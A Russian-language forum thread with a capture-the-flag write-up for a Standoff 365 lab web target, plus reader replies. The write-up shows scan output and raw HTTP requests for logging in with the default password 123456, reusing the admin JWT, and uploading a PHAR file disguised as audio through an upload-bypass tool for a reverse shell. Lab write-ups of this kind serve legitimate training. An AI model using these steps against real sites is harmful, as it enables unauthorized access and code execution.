PDA

Просмотр полной версии : [WriteUp] Web-6 smashmusic.edu.stf 10.124.1.241 | Standoff 365


Archivist
23.12.2024, 20:40
Платформа : standoff365.com

Оглавление:
1. Nmap
2. Bypass redirect via jwt token
3. После обхода
4. Роботы на подработке
5. Руками
6. P.S от автора

Nmap

Проводим стартовую разведку

Из портов на сайте нет ничего интересного

Код:



PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1720/tcp open h323q931


direcoty через feroxbuster не нашёл ничего интересного

Код:



http://10.124.1.241/secret/
http://10.124.1.241/index.php
http://10.124.1.241/styles/
http://10.124.1.241/uploads/
http://10.124.1.241/js/



Роботы говорят

Код:



User-agent: *
Disallow: /secret/
Disallow: /core/
Disallow: /uploads/


Bypass redirect via jwt token
через перебор каталогов находим


http://10.124.1.241/js/


Cтоит обратить внимание на следующий файлик.


http://10.124.1.241/js/auth.js


Из него можно выписать следующие php файлы
1. сore/userLogin.php
2. secret/secretPanel.php

Из файла auth.js я увидел поля ввода данных ,а вводить нужно в core/userLogin.php
Далее чуть чуть причесал(добавил отправку данных в формате JSON + method: POST) запрос
И только хотел начать перебор паролей , как на 123456 все подошло

Код:



POST /core/userLogin.php HTTP/1.1
Host: 10.124.1.241
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Cookie: pma_lang=en;
Upgrade-Insecure-Requests: 1
Content-Length: 53

{
"username": "admin",
"password":"123456"
}


В ответ на этот запрос я получил jwt token


eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiY WRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5jb20iLCJpc3M iOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3QiLCJpYXQiO jE3Mjc0NDYzMTUsImV4cCI6MTcyNzQ0OTkxNX0.fFS_sVBsE1X gby-9edtjByHPkq-AAmeZ_rfV5SzIKXU


Проверим через сайт начинку токена (site: JWT.IO) , увидел что токен Админский значит : нужно его куда-нибудь подставить

Берем нежно наш токен , чтобы пока несли не сломался
и идем в


10.124.1.241/secret


После обхода
мы получили страничку где можем загружать файлы , почему бы нам что нибудь да не загрузить?

Роботы на подработке
Решил проверить эффективность следующего инструмента


https://github.com/sAjibuu/Upload_Bypass?tab=readme-ov-file


Пример команды для перебора


python upload_bypass.py -r test -s 'file has been uploaded' -E php -D /uploads --burp_http --exploit


Содержимое файла test, было изменено в зависимости от документации


https://github.com/sAjibuu/Upload_Bypass?tab=readme-ov-file#example-2


Код:



POST /secret/uploadMusic.php HTTP/1.1
Host: 10.124.1.241
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------20454028017691591591771889877
Content-Length: 178827
Origin: http://10.124.1.241
DNT: 1
Connection: keep-alive
Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lI joiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5jb20iLCJ pc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3QiLCJpY XQiOjE3Mjc0NjA5MzcsImV4cCI6MTcyNzQ2NDUzN30.Twzf56d fM2tXd6ZDWfA35Xt_so3nXWHiZGHhBg6n9aw
Upgrade-Insecure-Requests: 1

-----------------------------20454028017691591591771889877
Content-Disposition: form-data; name="userfile"; filename="*filename*"
Content-Type: *mimetype*

*data*
-----------------------------20454028017691591591771889877
Content-Disposition: form-data; name="upload_btn"

Upload
-----------------------------20454028017691591591771889877--


Руками

В процессе поиска нашёл вот такую забавную штуку

https://owasp.org/www-chapter-pune/meetups/2023/Jan/File-upload-Vulnerability-Praveen-Sutar.pptx.pdf

PHAR (PHP Archive) — это формат, который позволяет упаковывать файлы PHP и другие ресурсы в один архив, что облегчает распространение и использование приложений. PHAR-файлы могут содержать PHP-код, библиотеки, изображения и другие ресурсы, что делает их удобными для развертывания.

- Исполняемость: PHAR-файлы могут быть исполняемыми. Это означает, что вы можете запускать их как обычные скрипты PHP.

Запрос При перехвате в burp и указываем payloads для нашего вредосоного архива

Код:



POST /secret/uploadMusic.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Host: 10.124.1.241
Content-Type: multipart/form-data; boundary=---------------------------20454028017691591591771889877
Content-Length: 706
Origin: http://10.124.1.241
DNT: 1
Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lI joiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5jb20iLCJ pc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3QiLCJpY XQiOjE3Mjc0NjA5MzcsImV4cCI6MTcyNzQ2NDUzN30.Twzf56d fM2tXd6ZDWfA35Xt_so3nXWHiZGHhBg6n9aw
Upgrade-Insecure-Requests: 1

-----------------------------20454028017691591591771889877
Content-Disposition: form-data; name="userfile"; filename="bob.phar"
Content-Type: audio/mpeg

-----------------------------20454028017691591591771889877
Content-Disposition: form-data; name="upload_btn"

Upload
-----------------------------20454028017691591591771889877--


После получения revshell or url?cmd Забираем их* флаг

P.S
Возможно Заметки/Статьи не будут публиковаться на форуме Antichat.net , а вот тут в формате Папки/Архива для приложения Obsidian - Sharpen your thinking , но на данный момент Архив пуст GitHub - username6345/writeups_for_the_reader: different ctf tasks or something else
Возможно еще увидимся тут, ... и нет) не там где вы подумали.

yetiraki
30.12.2024, 20:39
Спасибо за райтап, но у меня есть странное чувство недопонимания одной части.

После того как нашли http://10.124.1.241/js/auth.js, посмотрели и прочитали его и поняли что там POST и username и password
и когда мы дошли до самого запроса POST /core/userLogin.php HTTP/1.1 то откуда мы взяли кукисы Cookie: pma_lang=en; phpMyAdmin=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.ey JuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5j b20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3 QiLCJpYXQiOjE3Mjc0NDYzMTUsImV4cCI6MTcyNzQ0OTkxNX0. 1wjbTxu7rX-cLp6xX_asq7Ki4BzfD4IQChZSBKea3dM;
для получения других кукисов?

Надеюсь понятно спросил =)

ЗЫ
С наступающими праздниками!

Archivist
30.12.2024, 21:06
yetiraki сказал(а):

Спасибо за райтап, но у меня есть странное чувство недопонимания одной части.

После того как нашли http://10.124.1.241/js/auth.js, посмотрели и прочитали его и поняли что там POST и username и password
и когда мы дошли до самого запроса POST /core/userLogin.php HTTP/1.1 то откуда мы взяли кукисы Cookie: pma_lang=en; phpMyAdmin=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.ey JuYW1lIjoiYWRtaW4iLCJlbWFpbCI6ImFkbWluQG11c2ljay5j b20iLCJpc3MiOiJsb2NhbGhvc3QiLCJhdWQiOiJsb2NhbGhvc3 QiLCJpYXQiOjE3Mjc0NDYzMTUsImV4cCI6MTcyNzQ0OTkxNX0. 1wjbTxu7rX-cLp6xX_asq7Ki4BzfD4IQChZSBKea3dM;
для получения других кукисов?

Надеюсь понятно спросил =)

ЗЫ
С наступающими праздниками!



Опечатка* в решени:

Когда мы делаем запрос на получение Jwt
мы меняем запрос на POST и добавляем данные в формате Json

Скрин 1 я получаю Jwt без куки(в решении забыл убрать куки и сделай скрин уже после решения когда они прицепились к моим запросам )что ввел вас в заблуждение

https://forum.antichat.xyz/attachments/29116187/1735578285112.png

После данного комментария из writeups была убрана данная деталь

yetiraki
30.12.2024, 21:17
Archivist сказал(а):

Опечатка* в решени:

Когда мы делаем запрос на получение Jwt
мы меняем запрос на POST и добавляем данные в формате Json

Скрин 1 я получаю Jwt без куки(в решении забыл убрать куки и сделай скрин уже после решения когда они прицепились к моим запросам )что ввел вас в заблуждение

После данного комментария из writeups была убрана данная деталь


Спасибо.
Я себе и так все голову сломал с этим таском, а оказалось как минимум проще, чем я думал, но вот в этом месте прям завис.

PSY12
01.04.2026, 17:50
У вас скорее всего альтернативное решение. По задумке, нужно было взламывать JWT-токен, который выдавался при нажатии на кнопку на главное странице сайта.

Die
10.06.2026, 01:00
Раньше такие задачи казались намного сложнее, сейчас всё проще с JWT — подбросил, получил токен и прошёл куда надо. Раньше на перебор паролей тратил кучу времени, а тут "123456" сработал сразу, почти как шутка. Впрочем, с загрузкой файлов и обходом защиты поинтереснее, раньше такого не видел.

planar
11.06.2026, 15:00
Пока не совсем ясно, насколько реальна эта простота с JWT. Такое ощущение, что где-то могла быть халтура или баг, что пароль «123456» сработал с первого раза — обычно так просто не бывает. С загрузкой файлов тоже подозрительно, что обход столько раз проверили, а защиты толком не сработали. Лучше еще пару раз пересмотреть логику, а не принимать за чистую монету.